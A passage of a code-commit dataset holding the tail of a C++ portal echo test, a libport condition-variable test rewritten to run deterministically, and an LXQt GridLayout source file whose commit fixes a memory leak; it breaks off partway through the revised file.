printf(\"turn off printf in responder\\n\");\n    silent = 1;\n    for (i = 0; i < LOOP_COUNT; i++)\n        run_test();\n    printf(\"now try as mutex\\n\");\n    use_mutex = 1;\n    for (i = 0; i < LOOP_COUNT; i++)\n        run_test();\n    use_mutex = 0;\n\n    struct sched_param sched_param;\n    int sched_policy;\n    pthread_getschedparam(pthread_self(), &sched_policy, &sched_param);\n    sched_param.sched_priority = sched_get_priority_max(SCHED_RR);\n    pthread_setschedparam(pthread_self(), SCHED_RR, &sched_param);\n    printf(\"[%s:%d] scheduling policy changed to SCHED_RR\\n\", __FUNCTION__, __LINE__);\n    for (i = 0; i < LOOP_COUNT; i++)\n        run_test();\n    printf(\"disable interrupts for echoIndication\\n\");\n    poller->portalExec_end();\n    printf(\"now try inline\\n\");\n    use_inline = 1;\n    for (i = 0; i < LOOP_COUNT; i++)\n        run_test();\n    portalExec_end();\nprintf(\"[%s:%d] end\\n\", __FUNCTION__, __LINE__);\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <vector>\n#include <iostream>\n#include <iterator>\n\n#include <libport\/condition.hh>\n#include <libport\/foreach.hh>\n#include <libport\/unit-test.hh>\n#include <libport\/thread.hh>\n#include <libport\/unistd.h>\n\nusing namespace libport;\n\nstatic bool die = false;\nstatic const int NTHREAD = 10;\nstatic const int NITER = 20;\nstd::vector<int> nCall;\nstatic int targetId = 0;\nlibport::Condition cond;\n\nnamespace std\n{\n  static ostream&\n  operator<<(ostream& o, const vector<int>& ms)\n  {\n    std::copy(ms.begin(), ms.end(), ostream_iterator<int>(o, \" \"));\n    return o;\n  }\n}\n\nstatic void cond_thread(int idx)\n{\n  while (!die)\n  {\n    BlockLock bl(cond);\n    cond.wait();\n    if (targetId == idx || targetId == -1)\n      nCall[idx]++;\n  }\n}\n\nstatic inline void clear()\n{\n  nCall.clear();\n  nCall.resize(NTHREAD, 0);\n}\n\nstatic void test_condition_broadcast_one()\n{\n  std::vector<int> expect;\n  clear();\n  for (int i = 0; i < NTHREAD; i++)\n    libport::startThread(boost::bind(&cond_thread, i));\n\n  \/\/ Give time to those threads to reach the waiting-on-cond state\n  usleep(200000);\n  BOOST_TEST_MESSAGE(\"Singlethread broadcast with specific target\");\n  for (int i = 0; i < NITER; i++)\n    for (int j = 0; j < NTHREAD; j++)\n    {\n      {\n\tBlockLock bl(cond);\n\ttargetId = j;\n\tcond.broadcast();\n      }\n      \/\/ Give time to all threads to execute and wait.\n      usleep(100000);\n    }\n  usleep(200000);\n\n  expect.resize(NTHREAD, NITER);\n  BOOST_CHECK_EQUAL(nCall, expect);\n}\n\nstatic void test_condition_broadcast_all()\n{\n  BOOST_TEST_MESSAGE(\"Singlethread broadcast without specific target\");\n  clear();\n  targetId = -1;\n  for (int i = 0; i < NITER; i++)\n  {\n    {\n      BlockLock bl(cond);\n      cond.broadcast();\n    }\n    \/\/FIXME: a bit bogus, we have no waranty that all listener threads\n    \/\/ will be back in the wait state, however this is what we test.\n    usleep(100000);\n  }\n  usleep(200000);\n  int sumHit = 0;\n  foreach(int i, nCall)\n    sumHit += i;\n  BOOST_TEST_MESSAGE(\"Distribution: \" << nCall);\n  BOOST_CHECK_EQUAL(sumHit, NITER * NTHREAD);\n}\n\nstatic void test_condition_signal()\n{\n  BOOST_TEST_MESSAGE(\"singlethread signal without specific target\");\n  clear();\n  targetId = -1;\n  for (int i = 0; i < NITER * NTHREAD; ++i)\n  {\n    cond.signal();\n    usleep(100000);\n  }\n  int sumHit = 0;\n  foreach(int i, nCall)\n    sumHit += i;\n  BOOST_TEST_MESSAGE(\"Distribution: \" << nCall);\n  BOOST_CHECK_EQUAL(sumHit, NITER * NTHREAD);\n}\n\ntest_suite*\ninit_test_suite()\n{\n  test_suite* suite = BOOST_TEST_SUITE(\"libport::condition\");\n  suite->add(BOOST_TEST_CASE(test_condition_broadcast_one));\n  suite->add(BOOST_TEST_CASE(test_condition_broadcast_all));\n  suite->add(BOOST_TEST_CASE(test_condition_signal));\n  die = true;\n  cond.broadcast();\n  return suite;\n}\n<commit_msg>Make condition test deterministic.<commit_after>#include <vector>\n#include <iostream>\n#include <iterator>\n\n#include <libport\/condition.hh>\n#include <libport\/foreach.hh>\n#include <libport\/unit-test.hh>\n#include <libport\/thread.hh>\n#include <libport\/unistd.h>\n\nusing namespace libport;\n\nstatic const int NTHREAD = 3;\nstatic const int NITER = 3;\nbool die = false;\n\nnamespace std\n{\n  static ostream&\n  operator<<(ostream& o, const vector<int>& ms)\n  {\n    std::copy(ms.begin(), ms.end(), ostream_iterator<int>(o, \" \"));\n    return o;\n  }\n}\n\nstatic void cond_thread(int idx,\n                        std::vector<int>& output,\n                        int& targetId,\n                        libport::Condition& cond,\n                        libport::Semaphore& sem)\n{\n  BlockLock bl(cond);\n  while (true)\n  {\n    cond.wait();\n    if (targetId == idx || targetId == -1)\n      output[idx]++;\n    if (die)\n    {\n      sem++;\n      break;\n    }\n    sem++;\n  }\n}\n\nstatic void start_threads(std::vector<int>& output,\n                          int& targetId,\n                          libport::Condition& cond,\n                          libport::Semaphore& sem)\n{\n  for (int i = 0; i < NTHREAD; i++)\n    libport::startThread(boost::bind(&cond_thread, i,\n                                     boost::ref(output),\n                                     boost::ref(targetId),\n                                     boost::ref(cond),\n                                     boost::ref(sem)));\n}\n\nstatic void clear(libport::Condition& cond,\n                  libport::Semaphore& sem)\n{\n  die = true;\n  cond.broadcast();\n  sem -= NTHREAD;\n  die = false;\n}\n\nstatic void test_condition_broadcast_one()\n{\n  libport::Condition cond;\n  libport::Semaphore sem;\n  std::vector<int> output(NTHREAD, 0);\n  int tgt = 0;\n  start_threads(output, tgt, cond, sem);\n\n  for (int i = 0; i < NITER; i++)\n    for (int j = 0; j < NTHREAD; j++)\n    {\n      {\n        BlockLock bl(cond);\n        tgt = j;\n        cond.broadcast();\n      }\n      sem -= NTHREAD;\n    }\n\n  std::vector<int> expect(NTHREAD, NITER);\n  BOOST_CHECK_EQUAL(output, expect);\n  clear(cond, sem);\n}\n\nstatic void test_condition_broadcast_all()\n{\n  libport::Condition cond;\n  libport::Semaphore sem;\n  std::vector<int> output(NTHREAD, 0);\n  int tgt = -1;\n  start_threads(output, tgt, cond, sem);\n\n  for (int i = 0; i < NITER; i++)\n  {\n    {\n      BlockLock bl(cond);\n      cond.broadcast();\n    }\n    sem -= NTHREAD;\n  }\n\n  int sumHit = 0;\n  foreach(int i, output)\n    sumHit += i;\n  BOOST_TEST_MESSAGE(\"Distribution: \" << output);\n  BOOST_CHECK_EQUAL(sumHit, NITER * NTHREAD);\n  clear(cond, sem);\n}\n\nstatic void test_condition_signal()\n{\n  libport::Condition cond;\n  libport::Semaphore sem;\n  std::vector<int> output(NTHREAD, 0);\n  int tgt = -1;\n  start_threads(output, tgt, cond, sem);\n\n  for (int i = 0; i < NITER * NTHREAD; ++i)\n  {\n    cond.signal();\n    sem--;\n  }\n\n  int sumHit = 0;\n  foreach(int i, output)\n    sumHit += i;\n  BOOST_TEST_MESSAGE(\"Distribution: \" << output);\n  BOOST_CHECK_EQUAL(sumHit, NITER * NTHREAD);\n  clear(cond, sem);\n}\n\ntest_suite*\ninit_test_suite()\n{\n  test_suite* suite = BOOST_TEST_SUITE(\"libport::condition\");\n  suite->add(BOOST_TEST_CASE(test_condition_broadcast_one));\n  suite->add(BOOST_TEST_CASE(test_condition_broadcast_all));\n  suite->add(BOOST_TEST_CASE(test_condition_signal));\n  return suite;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * LXQt - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2012 Razor team\n * Authors:\n *   Alexander Sokoloff <sokoloff.a@gmail.com>\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n\n#include \"lxqtgridlayout.h\"\n#include <QDebug>\n#include <math.h>\n#include <QWidget>\n#include <QVariantAnimation>\n\nusing namespace LXQt;\n\nnamespace\n{\n    class ItemMoveAnimation : public QVariantAnimation\n    {\n    public:\n        static void animate(QLayoutItem * item, QRect const & geometry)\n        {\n            ItemMoveAnimation* animation = new ItemMoveAnimation(item);\n            animation->setStartValue(item->geometry());\n            animation->setEndValue(geometry);\n            animation->start(DeleteWhenStopped);\n        }\n\n        ItemMoveAnimation(QLayoutItem *item)\n            : mItem(item)\n        {\n            setDuration(150);\n        }\n\n        void updateCurrentValue(const QVariant &current)\n        {\n            mItem->setGeometry(current.toRect());\n        }\n\n    private:\n        QLayoutItem* mItem;\n\n    };\n}\n\nclass LXQt::GridLayoutPrivate\n{\npublic:\n    GridLayoutPrivate();\n\n    QList<QLayoutItem*> mItems;\n    int mRowCount;\n    int mColumnCount;\n    GridLayout::Direction mDirection;\n\n    bool mIsValid;\n    QSize mCellSizeHint;\n    QSize mCellMaxSize;\n    int mVisibleCount;\n    GridLayout::Stretch mStretch;\n    bool mAnimate;\n\n\n    void updateCache();\n    int rows() const;\n    int cols() const;\n    void setItemGeometry(QLayoutItem * item, QRect const & geometry);\n    QSize mPrefCellMinSize;\n    QSize mPrefCellMaxSize;\n    QRect mOccupiedGeometry;\n};\n\n\n\/************************************************\n\n ************************************************\/\nGridLayoutPrivate::GridLayoutPrivate()\n{\n    mColumnCount = 0;\n    mRowCount = 0;\n    mDirection = GridLayout::LeftToRight;\n    mIsValid = false;\n    mVisibleCount = 0;\n    mStretch = GridLayout::StretchHorizontal | GridLayout::StretchVertical;\n    mAnimate = false;\n    mPrefCellMinSize = QSize(0,0);\n    mPrefCellMaxSize = QSize(QWIDGETSIZE_MAX, QWIDGETSIZE_MAX);\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayoutPrivate::updateCache()\n{\n    mCellSizeHint = QSize(0, 0);\n    mCellMaxSize = QSize(0, 0);\n    mVisibleCount = 0;\n\n    for (int i=0; i<mItems.count(); ++i)\n    {\n        QLayoutItem *item = mItems.at(i);\n        if (!item->widget() || item->widget()->isHidden())\n            continue;\n\n        int h = qBound(item->minimumSize().height(),\n                       item->sizeHint().height(),\n                       item->maximumSize().height());\n\n        int w = qBound(item->minimumSize().width(),\n                       item->sizeHint().width(),\n                       item->maximumSize().width());\n\n        mCellSizeHint.rheight() = qMax(mCellSizeHint.height(), h);\n        mCellSizeHint.rwidth()  = qMax(mCellSizeHint.width(), w);\n\n        mCellMaxSize.rheight() = qMax(mCellMaxSize.height(), item->maximumSize().height());\n        mCellMaxSize.rwidth()  = qMax(mCellMaxSize.width(), item->maximumSize().width());\n        mVisibleCount++;\n\n#if 0\n        qDebug() << \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\";\n        qDebug() << \"item.min\" << item->minimumSize().width();\n        qDebug() << \"item.sz \" << item->sizeHint().width();\n        qDebug() << \"item.max\" << item->maximumSize().width();\n        qDebug() << \"w h\" << w << h;\n        qDebug() << \"wid.sizeHint\" << item->widget()->sizeHint();\n        qDebug() << \"mCellSizeHint:\" << mCellSizeHint;\n        qDebug() << \"mCellMaxSize: \" << mCellMaxSize;\n        qDebug() << \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\";\n#endif\n\n    }\n    mCellSizeHint.rwidth() = qBound(mPrefCellMinSize.width(),  mCellSizeHint.width(),  mPrefCellMaxSize.width());\n    mCellSizeHint.rheight()= qBound(mPrefCellMinSize.height(), mCellSizeHint.height(), mPrefCellMaxSize.height());\n    mIsValid = !mCellSizeHint.isEmpty();\n}\n\n\n\/************************************************\n\n ************************************************\/\nint GridLayoutPrivate::rows() const\n{\n    if (mRowCount)\n        return mRowCount;\n\n    if (!mColumnCount)\n        return 1;\n\n    return ceil(mVisibleCount * 1.0 \/ mColumnCount);\n}\n\n\n\/************************************************\n\n ************************************************\/\nint GridLayoutPrivate::cols() const\n{\n    if (mColumnCount)\n        return mColumnCount;\n\n    int rows = mRowCount;\n    if (!rows)\n        rows = 1;\n\n    return ceil(mVisibleCount * 1.0 \/ rows);\n}\n\nvoid GridLayoutPrivate::setItemGeometry(QLayoutItem * item, QRect const & geometry)\n{\n    mOccupiedGeometry |= geometry;\n    if (mAnimate)\n    {\n        ItemMoveAnimation::animate(item, geometry);\n    } else\n    {\n        item->setGeometry(geometry);\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nGridLayout::GridLayout(QWidget *parent):\n    QLayout(parent),\n    d_ptr(new GridLayoutPrivate())\n{\n}\n\n\n\/************************************************\n\n ************************************************\/\nGridLayout::~GridLayout()\n{\n    delete d_ptr;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::addItem(QLayoutItem *item)\n{\n    d_ptr->mItems.append(item);\n}\n\n\n\/************************************************\n\n ************************************************\/\nQLayoutItem *GridLayout::itemAt(int index) const\n{\n    Q_D(const GridLayout);\n    if (index < 0 || index >= d->mItems.count())\n        return 0;\n\n    return d->mItems.at(index);\n}\n\n\n\/************************************************\n\n ************************************************\/\nQLayoutItem *GridLayout::takeAt(int index)\n{\n    Q_D(GridLayout);\n    if (index < 0 || index >= d->mItems.count())\n        return 0;\n\n    QLayoutItem *item = d->mItems.takeAt(index);\n    return item;\n}\n\n\n\/************************************************\n\n ************************************************\/\nint GridLayout::count() const\n{\n    Q_D(const GridLayout);\n    return d->mItems.count();\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::invalidate()\n{\n    Q_D(GridLayout);\n    d->mIsValid = false;\n    QLayout::invalidate();\n}\n\n\n\/************************************************\n\n ************************************************\/\nint GridLayout::rowCount() const\n{\n    Q_D(const GridLayout);\n    return d->mRowCount;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setRowCount(int value)\n{\n    Q_D(GridLayout);\n    if (d->mRowCount != value)\n    {\n        d->mRowCount = value;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nint GridLayout::columnCount() const\n{\n    Q_D(const GridLayout);\n    return d->mColumnCount;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setColumnCount(int value)\n{\n    Q_D(GridLayout);\n    if (d->mColumnCount != value)\n    {\n        d->mColumnCount = value;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nGridLayout::Direction GridLayout::direction() const\n{\n    Q_D(const GridLayout);\n    return d->mDirection;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setDirection(GridLayout::Direction value)\n{\n    Q_D(GridLayout);\n    if (d->mDirection != value)\n    {\n        d->mDirection = value;\n        invalidate();\n    }\n}\n\n\/************************************************\n\n ************************************************\/\nGridLayout::Stretch GridLayout::stretch() const\n{\n    Q_D(const GridLayout);\n    return d->mStretch;\n}\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setStretch(Stretch value)\n{\n    Q_D(GridLayout);\n    if (d->mStretch != value)\n    {\n        d->mStretch = value;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::moveItem(int from, int to, bool withAnimation \/*= false*\/)\n{\n    Q_D(GridLayout);\n    d->mAnimate = withAnimation;\n    d->mItems.move(from, to);\n    invalidate();\n}\n\n\n\/************************************************\n\n ************************************************\/\nQSize GridLayout::cellMinimumSize() const\n{\n    Q_D(const GridLayout);\n    return d->mPrefCellMinSize;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMinimumSize(QSize minSize)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize != minSize)\n    {\n        d->mPrefCellMinSize = minSize;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMinimumHeight(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize.height() != value)\n    {\n        d->mPrefCellMinSize.setHeight(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMinimumWidth(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize.width() != value)\n    {\n        d->mPrefCellMinSize.setWidth(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nQSize GridLayout::cellMaximumSize() const\n{\n    Q_D(const GridLayout);\n    return d->mPrefCellMaxSize;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMaximumSize(QSize maxSize)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMaxSize != maxSize)\n    {\n        d->mPrefCellMaxSize = maxSize;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMaximumHeight(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMaxSize.height() != value)\n    {\n        d->mPrefCellMaxSize.setHeight(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellMaximumWidth(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMaxSize.width() != value)\n    {\n        d->mPrefCellMaxSize.setWidth(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellFixedSize(QSize size)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize != size ||\n        d->mPrefCellMaxSize != size)\n    {\n        d->mPrefCellMinSize = size;\n        d->mPrefCellMaxSize = size;\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellFixedHeight(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize.height() != value ||\n        d->mPrefCellMaxSize.height() != value)\n    {\n        d->mPrefCellMinSize.setHeight(value);\n        d->mPrefCellMaxSize.setHeight(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setCellFixedWidth(int value)\n{\n    Q_D(GridLayout);\n    if (d->mPrefCellMinSize.width() != value ||\n        d->mPrefCellMaxSize.width() != value)\n    {\n        d->mPrefCellMinSize.setWidth(value);\n        d->mPrefCellMaxSize.setWidth(value);\n        invalidate();\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nQSize GridLayout::sizeHint() const\n{\n    Q_D(const GridLayout);\n\n    if (!d->mIsValid)\n        const_cast<GridLayoutPrivate*>(d)->updateCache();\n\n    return QSize(d->cols() * d->mCellSizeHint.width(),\n                 d->rows() * d->mCellSizeHint.height());\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setGeometry(const QRect &geometry)\n{\n    Q_D(GridLayout);\n\n    QLayout::setGeometry(geometry);\n    d->mOccupiedGeometry.setTopLeft(geometry.topLeft());\n    d->mOccupiedGeometry.setBottomRight(geometry.topLeft());\n\n    if (!d->mIsValid)\n        d->updateCache();\n\n    int y = geometry.top();\n    int x = geometry.left();\n\n    \/\/ For historical reasons QRect::right returns left() + width() - 1\n    \/\/ and QRect::bottom() returns top() + height() - 1;\n    \/\/ So we use left() + height() and top() + height()\n    \/\/\n    \/\/ http:\/\/qt-project.org\/doc\/qt-4.8\/qrect.html\n\n    const int maxX = geometry.left() + geometry.width();\n    const int maxY = geometry.top() + geometry.height();\n\n    const bool stretch_h = d->mStretch.testFlag(StretchHorizontal);\n    const bool stretch_v = d->mStretch.testFlag(StretchVertical);\n\n    const int cols = d->cols();\n    int itemWidth = 0;\n    if (stretch_h && 0 < cols)\n        itemWidth = qMin(geometry.width() \/ cols, d->mCellMaxSize.width());\n    else\n        itemWidth = d->mCellSizeHint.width();\n    itemWidth = qBound(qMin(d->mPrefCellMinSize.width(), maxX), itemWidth, d->mPrefCellMaxSize.width());\n    const int widthRemain = stretch_h && 0 < itemWidth ? geometry.width() % itemWidth : 0;\n\n    const int rows = d->rows();\n    int itemHeight = 0;\n    if (stretch_v && 0 < rows)\n        itemHeight = qMin(geometry.height() \/ rows, d->mCellMaxSize.height());\n    else\n        itemHeight = d->mCellSizeHint.height();\n    itemHeight = qBound(qMin(d->mPrefCellMinSize.height(), maxY), itemHeight, d->mPrefCellMaxSize.height());\n    const int heightRemain = stretch_v && 0 < itemHeight ? geometry.height() % itemHeight : 0;\n\n#if 0\n    qDebug() << \"** GridLayout::setGeometry *******************************\";\n    qDebug() << \"Geometry:\" << geometry;\n    qDebug() << \"CellSize:\" << d->mCellSizeHint;\n    qDebug() << \"Constraints:\" << \"min\" << d->mPrefCellMinSize << \"max\" << d->mPrefCellMaxSize;\n    qDebug() << \"Count\" << count();\n    qDebug() << \"Cols:\" << d->cols() << \"(\" << d->mColumnCount << \")\";\n    qDebug() << \"Rows:\" << d->rows() << \"(\" << d->mRowCount << \")\";\n    qDebug() << \"Stretch:\" << \"h:\" << (d->mStretch.testFlag(StretchHorizontal)) << \" v:\" << (d->mStretch.testFlag(StretchVertical));\n    qDebug() << \"Item:\" << \"h:\" << itemHeight << \" w:\" << itemWidth;\n#endif\n\n    int remain_height = heightRemain;\n    int remain_width = widthRemain;\n    if (d->mDirection == LeftToRight)\n    {\n        int height = itemHeight + (0 < remain_height-- ? 1 : 0);\n        foreach(QLayoutItem *item, d->mItems)\n        {\n            if (!item->widget() || item->widget()->isHidden())\n                continue;\n            int width = itemWidth + (0 < remain_width-- ? 1 : 0);\n\n            if (x + width > maxX)\n            {\n                x = geometry.left();\n                y += height;\n\n                height = itemHeight + (0 < remain_height-- ? 1 : 0);\n                remain_width = widthRemain;\n            }\n\n            d->setItemGeometry(item, QRect(x, y, width, height));\n            x += width;\n        }\n    }\n    else\n    {\n        int width = itemWidth + (0 < remain_width-- ? 1 : 0);\n        foreach(QLayoutItem *item, d->mItems)\n        {\n            if (!item->widget() || item->widget()->isHidden())\n                continue;\n            int height = itemHeight + (0 < remain_height-- ? 1 : 0);\n\n            if (y + height > maxY)\n            {\n                y = geometry.top();\n                x += width;\n\n                width = itemWidth + (0 < remain_width-- ? 1 : 0);\n                remain_height = heightRemain;\n            }\n            d->setItemGeometry(item, QRect(x, y, width, height));\n            y += height;\n        }\n    }\n    d->mAnimate = false;\n}\n\n\/************************************************\n\n ************************************************\/\nQRect GridLayout::occupiedGeometry() const\n{\n    return d_func()->mOccupiedGeometry;\n}\n<commit_msg>GridLayout: Fix memory leak<commit_after>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * LXQt - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2012 Razor team\n * Authors:\n *   Alexander Sokoloff <sokoloff.a@gmail.com>\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n\n#include \"lxqtgridlayout.h\"\n#include <QDebug>\n#include <math.h>\n#include <QWidget>\n#include <QVariantAnimation>\n\nusing namespace LXQt;\n\nnamespace\n{\n    class ItemMoveAnimation : public QVariantAnimation\n    {\n    public:\n        static void animate(QLayoutItem * item, QRect const & geometry)\n        {\n            ItemMoveAnimation* animation = new ItemMoveAnimation(item);\n            animation->setStartValue(item->geometry());\n            animation->setEndValue(geometry);\n            animation->start(DeleteWhenStopped);\n        }\n\n        ItemMoveAnimation(QLayoutItem *item)\n            : mItem(item)\n        {\n            setDuration(150);\n        }\n\n        void updateCurrentValue(const QVariant &current)\n        {\n            mItem->setGeometry(current.toRect());\n        }\n\n    private:\n        QLayoutItem* mItem;\n\n    };\n}\n\nclass LXQt::GridLayoutPrivate\n{\npublic:\n    GridLayoutPrivate();\n    ~GridLayoutPrivate();\n\n    QList<QLayoutItem*> mItems;\n    int mRowCount;\n    int mColumnCount;\n    GridLayout::Direction mDirection;\n\n    bool mIsValid;\n    QSize mCellSizeHint;\n    QSize mCellMaxSize;\n    int mVisibleCount;\n    GridLayout::Stretch mStretch;\n    bool mAnimate;\n\n\n    void updateCache();\n    int rows() const;\n    int cols() const;\n    void setItemGeometry(QLayoutItem * item, QRect const & geometry);\n    QSize mPrefCellMinSize;\n    QSize mPrefCellMaxSize;\n    QRect mOccupiedGeometry;\n};\n\n\n\/************************************************\n\n ************************************************\/\nGridLayoutPrivate::GridLayoutPrivate()\n{\n    mColumnCount = 0;\n    mRowCount = 0;\n    mDirection = GridLayout::LeftToRight;\n    mIsValid = false;\n    mVisibleCount = 0;\n    mStretch = GridLayout::StretchHorizontal | GridLayout::StretchVertical;\n    mAnimate = false;\n    mPrefCellMinSize = QSize(0,0);\n    mPrefCellMaxSize = QSize(QWIDGETSIZE_MAX, QWIDGETSIZE_MAX);\n}\n\n\/************************************************\n\n ************************************************\/\nGridLayoutPrivate::~GridLayoutPrivate()\n{\n    qDeleteAll(mItems);\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayoutPrivate::updateCache()\n{\n    mCellSizeHint = QSize(0, 0);\n    mCellMaxSize = QSize(0, 0);\n    mVisibleCount = 0;\n\n    for (int i=0; i<mItems.count(); ++i)\n    {\n        QLayoutItem *item = mItems.at(i);\n        if (!item->widget() || item->widget()->isHidden())\n            continue;\n\n        int h = qBound(item->minimumSize().height(),\n                       item->sizeHint().height(),\n                       item->maximumSize().height());\n\n        int w = qBound(item->minimumSize().width(),\n                       item->sizeHint().width(),\n                       item->maximumSize().width());\n\n        mCellSizeHint.rheight() = qMax(mCellSizeHint.height(), h);\n        mCellSizeHint.rwidth()  = qMax(mCellSizeHint.width(), w);\n\n        mCellMaxSize.rheight() = qMax(mCellMaxSize.height(), item->maximumSize().height());\n        mCellMaxSize.rwidth()  = qMax(mCellMaxSize.width(), item->maximumSize().width());\n        mVisibleCount++;\n\n#if 0\n        qDebug() << \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\";\n        qDebug() << \"item.min\" << item->minimumSize().width();\n        qDebug() << \"item.sz \" << item->sizeHint().width();\n        qDebug() << \"item.max\" << item->maximumSize().width();\n        qDebug() << \"w h\" << w << h;\n        qDebug() << \"wid.sizeHint\" << item->widget()->sizeHint();\n        qDebug() << \"mCellSizeHint:\" << mCellSizeHint;\n        qDebug() << \"mCellMaxSize: \" << mCellMaxSize;\n        qDebug() << \"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\";\n#endif\n\n    }\n    mCellSizeHint.rwidth() = qBound(mPrefCellMinSize.width(),  mCellSizeHint.width(),  mPrefCellMaxSize.width());\n    mCellSizeHint.rheight()= qBound(mPrefCellMinSize.height(), mCellSizeHint.height(), mPrefCellMaxSize.height());\n    mIsValid = !mCellSizeHint.isEmpty();\n}\n\n\n\/************************************************\n\n ************************************************\/\nint GridLayoutPrivate::rows() const\n{\n    if (mRowCount)\n        return mRowCount;\n\n    if (!mColumnCount)\n        return 1;\n\n    return ceil(mVisibleCount * 1.0 \/ mColumnCount);\n}\n\n\n\/************************************************\n\n ************************************************\/\nint GridLayoutPrivate::cols() const\n{\n    if (mColumnCount)\n        return mColumnCount;\n\n    int rows = mRowCount;\n    if (!rows)\n        rows = 1;\n\n    return ceil(mVisibleCount * 1.0 \/ rows);\n}\n\nvoid GridLayoutPrivate::setItemGeometry(QLayoutItem * item, QRect const & geometry)\n{\n    mOccupiedGeometry |= geometry;\n    if (mAnimate)\n    {\n        ItemMoveAnimation::animate(item, geometry);\n    } else\n    {\n        item->setGeometry(geometry);\n    }\n}\n\n\n\/************************************************\n\n ************************************************\/\nGridLayout::GridLayout(QWidget *parent):\n    QLayout(parent),\n    d_ptr(new GridLayoutPrivate())\n{\n}\n\n\n\/************************************************\n\n ************************************************\/\nGridLayout::~GridLayout()\n{\n    delete d_ptr;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::addItem(QLayoutItem *item)\n{\n    d_ptr->mItems.append(item);\n}\n\n\n\/************************************************\n\n ************************************************\/\nQLayoutItem *GridLayout::itemAt(int index) const\n{\n    Q_D(const GridLayout);\n    if (index < 0 || index >= d->mItems.count())\n        return 0;\n\n    return d->mItems.at(index);\n}\n\n\n\/************************************************\n\n ************************************************\/\nQLayoutItem *GridLayout::takeAt(int index)\n{\n    Q_D(GridLayout);\n    if (index < 0 || index >= d->mItems.count())\n        return 0;\n\n    QLayoutItem *item = d->mItems.takeAt(index);\n    return item;\n}\n\n\n\/************************************************\n\n ************************************************\/\nint GridLayout::count() const\n{\n    Q_D(const GridLayout);\n    return d->mItems.count();\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::invalidate()\n{\n    Q_D(GridLayout);\n    d->mIsValid = false;\n    QLayout::invalidate();\n}\n\n\n\/************************************************\n\n ************************************************\/\nint GridLayout::rowCount() const\n{\n    Q_D(const GridLayout);\n    return d->mRowCount;\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid GridLayout::setRowCount(int 